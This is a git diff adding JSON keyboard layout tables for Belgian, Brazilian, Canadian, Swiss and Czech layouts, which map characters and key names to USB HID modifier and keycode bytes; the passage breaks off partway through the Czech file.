diff --git a/languages/be.json b/languages/be.json new file mode 100644 index 0000000..d15c522 --- /dev/null +++ b/languages/be.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "q":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + ",":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "a":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "z":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "w":"00,00,1d", + "&":"00,00,1e", + "\"":"00,00,20", + "'":"00,00,21", + "(":"00,00,22", + "!":"00,00,25", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + ")":"00,00,2d", + "-":"00,00,2e", + "$":"00,00,30", + "m":"00,00,33", + ";":"00,00,36", + ":":"00,00,37", + "=":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "Q":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "?":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "A":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "Z":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "W":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + "7":"02,00,24", + "8":"02,00,25", + "9":"02,00,26", + "0":"02,00,27", + "_":"02,00,2e", + "*":"02,00,30", + "M":"02,00,33", + "%":"02,00,34", + ".":"02,00,36", + "/":"02,00,37", + "+":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "|":"40,00,1e", + "@":"40,00,1f", + "#":"40,00,20", + "^":"40,00,23", + "{":"40,00,26", + "}":"40,00,27", + "[":"40,00,2f", + "]":"40,00,30", + "`":"40,00,31", + "~":"40,00,38", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT":"40,00,64" +} \ No newline at end of file diff --git a/languages/br.json b/languages/br.json new file mode 100644 index 0000000..d542428 --- /dev/null +++ b/languages/br.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "[":"00,00,30", + "]":"00,00,31", + "~":"00,00,34", + "'":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + ";":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "\\":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "@":"02,00,1f", + "#":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + "`":"02,00,2f", + "{":"02,00,30", + "}":"02,00,31", + "^":"02,00,34", + "\"":"02,00,35", + "<":"02,00,36", + ">":"02,00,37", + ":":"02,00,38", + "|":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "/":"40,00,14", + "?":"40,00,1a", + "COMMAND-CTRL-SHIFT":"40,00,1a", + "COMMAND-CTRL":"40,00,1a", + "COMMAND-OPTION-SHIFT'":"40,00,1a" +} \ No newline at end of file diff --git a/languages/ca-fr.json b/languages/ca-fr.json new file mode 100644 index 0000000..e6b21d6 --- /dev/null +++ b/languages/ca-fr.json @@ -0,0 +1,170 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "__comment":" Canadian french version made by Dominic Villeneuve", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "^":"00,00,2f", + "<":"40,00,36", + ";":"00,00,33", + "`":"40,00,2f", + "#":"02,00,20", + ",":"00,00,36", + ".":"00,00,37", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,35", + "/":"00,00,35", + "$":"02,00,21", + "%":"02,00,22", + "?":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + ">":"40,00,37", + ":":"02,00,33", + "|":"40,00,35", + "'":"02,00,36", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "\\":"02,00,35", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"02,00,1f", + "[":"40,00,26", + "]":"40,00,27", + "}":"40,00,25", + "~":"40,00,30", + "{":"40,00,24", + "COMMAND-CTRL-SHIFT":"40,00,34", + "COMMAND-CTRL":"40,00,34", + "COMMAND-OPTION-SHIFT'":"40,00,34" +} diff --git a/languages/ca.json b/languages/ca.json new file mode 100644 index 0000000..15656bf --- /dev/null +++ b/languages/ca.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "y":"00,00,1c", + "z":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "-":"00,00,2d", + "=":"00,00,2e", + "^":"00,00,2f", + "<":"00,00,31", + ";":"00,00,33", + "`":"00,00,34", + "#":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Y":"02,00,1c", + "Z":"02,00,1d", + "!":"02,00,1e", + "\"":"02,00,1f", + "/":"02,00,20", + "$":"02,00,21", + "%":"02,00,22", + "?":"02,00,23", + "&":"02,00,24", + "*":"02,00,25", + "(":"02,00,26", + ")":"02,00,27", + "_":"02,00,2d", + "+":"02,00,2e", + ">":"02,00,31", + ":":"02,00,33", + "|":"02,00,35", + "'":"02,00,36", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "\\":"04,00,35", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "[":"40,00,2f", + "]":"40,00,30", + "}":"40,00,31", + "~":"40,00,33", + "{":"40,00,34", + "COMMAND-CTRL-SHIFT":"40,00,34", + "COMMAND-CTRL":"40,00,34", + "COMMAND-OPTION-SHIFT'":"40,00,34" +} \ No newline at end of file diff --git a/languages/ch.json b/languages/ch.json new file mode 100644 index 0000000..8b36ce2 --- /dev/null +++ b/languages/ch.json @@ -0,0 +1,268 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":"A = LeftShift + a, { = LeftShift + [", + "__comment":" ", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "1":"00,00,1e", + "2":"00,00,1f", + "3":"00,00,20", + "4":"00,00,21", + "5":"00,00,22", + "6":"00,00,23", + "7":"00,00,24", + "8":"00,00,25", + "9":"00,00,26", + "0":"00,00,27", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "'":"00,00,2d", + "^":"00,00,2e", + "$":"00,00,31", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "<":"00,00,64", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "+":"02,00,1e", + "\"":"02,00,1f", + "*":"02,00,20", + "%":"02,00,22", + "&":"02,00,23", + "/":"02,00,24", + "(":"02,00,25", + ")":"02,00,26", + "=":"02,00,27", + "?":"02,00,2d", + "`":"02,00,2e", + "!":"02,00,30", + ";":"02,00,36", + ":":"02,00,37", + "_":"02,00,38", + ">":"02,00,64", + "CTRL-SHIFT":"03,00,00", + "ALT":"04,00,00", + "CTRL-ALT":"05,00,00", + "ALT-SHIFT":"06,00,00", + "COMMAND":"08,00,00", + "GUI":"08,00,00", + "WINDOWS":"08,00,00", + "COMMAND-OPTION":"12,00,00", + "@":"40,00,1f", + "#":"40,00,20", + "|":"40,00,24", + "~":"40,00,2e", + "[":"40,00,2f", + "]":"40,00,30", + "}":"40,00,31", + "{":"40,00,35", + "\\":"40,00,64", + "COMMAND-CTRL-SHIFT":"40,00,64", + "COMMAND-CTRL":"40,00,64", + "COMMAND-OPTION-SHIFT'":"40,00,64", + "__comment":"Everything below was additionally added by kuyaya", + "GUI-l":"08,00,0f", + "RIGHTSHIFT":"20,00,00", + "A":"20,00,04", + "B":"20,00,05", + "C":"20,00,06", + "D":"20,00,07", + "E":"20,00,08", + "F":"20,00,09", + "G":"20,00,0a", + "H":"20,00,0b", + "I":"20,00,0c", + "J":"20,00,0d", + "K":"20,00,0e", + "L":"20,00,0f", + "M":"20,00,10", + "N":"20,00,11", + "O":"20,00,12", + "P":"20,00,13", + "Q":"20,00,14", + "R":"20,00,15", + "S":"20,00,16", + "T":"20,00,17", + "U":"20,00,18", + "V":"20,00,19", + "W":"20,00,1a", + "X":"20,00,1b", + "Z":"20,00,1c", + "Y":"20,00,1d", + "+":"20,00,1e", + "\"":"20,00,1f", + "*":"20,00,20", + "%":"20,00,22", + "&":"20,00,23", + "/":"20,00,24", + "(":"20,00,25", + ")":"20,00,26", + "=":"20,00,27", + "?":"20,00,2d", + "`":"20,00,2e", + "!":"20,00,30", + ";":"20,00,36", + ":":"20,00,37", + "_":"20,00,38", + ">":"20,00,64", + "°":"02,00,35", + "°":"20,00,35", + "§":"00,00,35", + "ç":"02,00,21", + "ç":"20,00,21", + "¬":"40,00,23", + "¦":"40,00,1e", + "¢":"40,00,25", + "´":"40,00,2d", + "BACKSPACE":"00,00,2a", + "SHIFT-BACKSPACE":"02,00,2a", + "SHIFT-BACKSPACE":"20,00,2a", + "€":"40,00,08", + "è":"02,00,2f", + "è":"20,00,2f", + "ü":"00,00,2f", + "¨":"00,00,30", + "é":"02,00,33", + "é":"20,00,33", + "ö":"00,00,33", + "ä":"00,00,34", + "à":"02,00,34", + "à":"20,00,34", + "£":"02,00,32", + "£":"20,00,32", + "ALT-GR":"40,00,00", + "RIGHTCONTROL":"10,00,00", + "NUMLOCK":"00,00,53", + "+":"00,00,57", + "-":"00,00,56", + "*":"00,00,55", + "/":"00,00,54", + "ENTER":"00,00,58", + "DEL":"00,00,63", + "INSERT":"00,00,62", + "END":"00,00,59", + "DOWN":"00,00,5a", + "PAGEDOWN":"00,00,5b", + "LEFT":"00,00,5c", + "RIGHT":"00,00,5e", + "HOME":"00,00,5f", + "UP":"00,00,60", + "PAGEUP":"00,00,61", + ".":"00,00,63", + "0":"00,00,62", + "1":"00,00,59", + "2":"00,00,5a", + "3":"00,00,5b", + "4":"00,00,5c", + "5":"00,00,5d", + "6":"00,00,5e", + "7":"00,00,5f", + "8":"00,00,60", + "9":"00,00,61" +} diff --git a/languages/cz.json b/languages/cz.json new file mode 100644 index 0000000..c8d93f1 --- /dev/null +++ b/languages/cz.json @@ -0,0 +1,169 @@ +{ + "__comment":"All numbers here are in hex format and 0x is ignored.", + "__comment":" ", + "__comment":"This list is in ascending order of 3rd byte (HID Usage ID).", + "__comment":" See section 10 Keyboard/Keypad Page (0x07)", + "__comment":" of document USB HID Usage Tables Version 1.12.", + "__comment":" ", + "__comment":"Definition of these 3 bytes can be found", + "__comment":" in section B.1 Protocol 1 (Keyboard)", + "__comment":" of document Device Class Definition for HID Version 1.11", + "__comment":" - byte 1: Modifier keys", + "__comment":" - byte 2: Reserved", + "__comment":" - byte 3: Keycode 1", + "__comment":" ", + "__comment":"Both documents can be obtained from link here", + "__comment":" http://www.usb.org/developers/hidpage/", + "__comment":" ", + "__comment":" Czech QWERTZ version made by Andrej Šimko", + "__comment":" Note that some special characters use leftCtrl+leftAlt+[key]", + "__comment":" Special Czech characters like ěščřžýáíéů are not included", + "a":"00,00,04", + "b":"00,00,05", + "c":"00,00,06", + "d":"00,00,07", + "e":"00,00,08", + "f":"00,00,09", + "g":"00,00,0a", + "h":"00,00,0b", + "i":"00,00,0c", + "j":"00,00,0d", + "k":"00,00,0e", + "l":"00,00,0f", + "m":"00,00,10", + "n":"00,00,11", + "o":"00,00,12", + "p":"00,00,13", + "q":"00,00,14", + "r":"00,00,15", + "s":"00,00,16", + "t":"00,00,17", + "u":"00,00,18", + "v":"00,00,19", + "w":"00,00,1a", + "x":"00,00,1b", + "z":"00,00,1c", + "y":"00,00,1d", + "+":"00,00,1e", + "ENTER":"00,00,28", + "ESC":"00,00,29", + "ESCAPE":"00,00,29", + "TAB":"00,00,2b", + " ":"00,00,2c", + "SPACE":"00,00,2c", + "CTRL-ALT":"05,00,00", + "=":"00,00,2d", + ")":"00,00,30", + ";":"00,00,35", + ",":"00,00,36", + ".":"00,00,37", + "-":"00,00,38", + "CAPSLOCK":"00,00,39", + "F1":"00,00,3a", + "F2":"00,00,3b", + "F3":"00,00,3c", + "F4":"00,00,3d", + "F5":"00,00,3e", + "F6":"00,00,3f", + "F7":"00,00,40", + "F8":"00,00,41", + "F9":"00,00,42", + "F10":"00,00,43", + "F11":"00,00,44", + "F12":"00,00,45", + "PRINTSCREEN":"00,00,46", + "SCROLLLOCK":"00,00,47", + "BREAK":"00,00,48", + "PAUSE":"00,00,48", + "INSERT":"00,00,49", + "HOME":"00,00,4a", + "PAGEUP":"00,00,4b", + "DEL":"00,00,4c", + "DELETE":"00,00,4c", + "END":"00,00,4d", + "PAGEDOWN":"00,00,4e", + "RIGHT":"00,00,4f", + "RIGHTARROW":"00,00,4f", + "LEFT":"00,00,50", + "LEFTARROW":"00,00,50", + "DOWN":"00,00,51", + "DOWNARROW":"00,00,51", + "UP":"00,00,52", + "UPARROW":"00,00,52", + "APP":"00,00,65", + "MENU":"00,00,65", + "ALT-TAB":"00,00,71", + "CONTROL":"01,00,00", + "CTRL":"01,00,00", + "SHIFT":"02,00,00", + "A":"02,00,04", + "B":"02,00,05", + "C":"02,00,06", + "D":"02,00,07", + "E":"02,00,08", + "F":"02,00,09", + "G":"02,00,0a", + "H":"02,00,0b", + "I":"02,00,0c", + "J":"02,00,0d", + "K":"02,00,0e", + "L":"02,00,0f", + "M":"02,00,10", + "N":"02,00,11", + "O":"02,00,12", + "P":"02,00,13", + "Q":"02,00,14", + "R":"02,00,15", + "S":"02,00,16", + "T":"02,00,17", + "U":"02,00,18", + "V":"02,00,19", + "W":"02,00,1a", + "X":"02,00,1b", + "Z":"02,00,1c", + "Y":"02,00,1d", + "1":"02,00,1e", + "2":"02,00,1f", + "3":"02,00,20", + "4":"02,00,21", + "5":"02,00,22", + "6":"02,00,23", + 